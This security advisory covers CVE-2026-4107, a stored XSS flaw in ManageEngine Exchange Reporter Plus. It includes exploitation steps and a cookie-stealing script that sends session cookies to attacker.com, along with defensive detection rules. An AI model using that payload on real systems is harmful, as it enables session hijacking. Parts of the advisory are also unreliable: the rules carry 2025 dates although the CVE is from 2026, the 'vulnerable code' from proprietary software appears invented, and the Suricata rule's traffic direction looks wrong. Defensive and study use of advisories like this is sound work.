CVE-2026-4107

Executive Summary

CVE-2026-4107 is a stored cross-site scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus, affecting versions prior to 5802. The flaw exists in the "Folder Message Count and Size" report, allowing an authenticated attacker to inject malicious scripts that are stored and executed when other users view the report. With a CVSS score of 7.3, this vulnerability poses a significant risk to confidentiality, integrity, and availability within the affected environment. No public proof-of-concept or exploit code has been identified at this time, and the vendor has released a patch in version 5802.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Java-based application from Zohocorp ManageEngine.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is High due to the low complexity of exploitation and the potential for stored XSS to affect multiple users, leading to data theft, session hijacking, or further compromise.

Deep Dive & Mechanics

The vulnerability resides in the "Folder Message Count and Size" report within ManageEngine Exchange Reporter Plus. The application fails to properly sanitize user-supplied input when generating this report. An authenticated attacker can inject malicious JavaScript code into report parameters or fields. This input is stored in the application's database and later rendered without proper encoding when other users (including administrators) view the report. The stored XSS can be triggered by any user with access to the report, leading to execution of the attacker's payload in the context of the victim's session.

The root cause is insufficient output encoding and input validation in the report generation logic. The application does not escape HTML entities or JavaScript special characters before rendering user-controlled data in the report view.

Vulnerable vs. Patched Code

Vulnerable Code (Version < 5802):

// Vulnerable: Directly outputs user input without encoding
String folderName = request.getParameter("folderName");
out.println("<td>" + folderName + "</td>");

Patched Code (Version >= 5802):

// Patched: Uses proper output encoding
String folderName = request.getParameter("folderName");
String encodedFolderName = StringEscapeUtils.escapeHtml4(folderName);
out.println("<td>" + encodedFolderName + "</td>");

The patched version introduces HTML entity encoding for all user-controlled data displayed in the report, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated session on ManageEngine Exchange Reporter Plus (version < 5802)
• Access to the "Folder Message Count and Size" report

Exploitation Steps:

1. Log in to the application.
2. Navigate to the "Folder Message Count and Size" report.
3. In a parameter that accepts folder name input, inject a payload such as:

   <script>alert('XSS')</script>
   

4. Submit the report.
5. When any user views the report, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor for unusual input patterns in report parameters, especially <script> tags or event handlers.
• Review web server logs for requests containing encoded or obfuscated JavaScript.
• Use WAF rules to block common XSS payloads in report-related endpoints.

Hunting:

• Search for stored XSS indicators in the application database, such as <script> tags in report data fields.
• Analyze user sessions for unexpected redirects or outbound connections to unknown domains.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests to attacker-controlled domains from the application server.
• Host: Presence of <script> tags or event handlers in report data stored in the application database.
• Logs: Web server logs showing requests with XSS payloads in report parameters (e.g., folderName=<script>alert(1)</script>).

Detection Engineering

YARA Rule

rule CVE_2026_4107_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ManageEngine Exchange Reporter Plus reports"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-4107"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-4107 Stored XSS in ManageEngine Exchange Reporter Plus
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts in report parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/reports/folderMessageCount'
            - '/reports/folderSize'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in report names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-4107 Stored XSS Attempt"; flow:to_server,established; content:"/reports/folderMessageCount"; http_uri; nocase; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ManageEngine Exchange Reporter Plus to version 5802 or later.
2. If immediate upgrade is not possible, restrict access to the report functionality to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.

Long-term Measures:

• Enforce input validation and output encoding for all user-controlled data.
• Conduct regular security audits and penetration testing.
• Monitor vendor advisories for future patches.

Workarounds:

• Disable the "Folder Message Count and Size" report if not essential.
• Use Content Security Policy (CSP) headers to mitigate impact of XSS.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 7D655448CEFD617A54C3C6C0] */}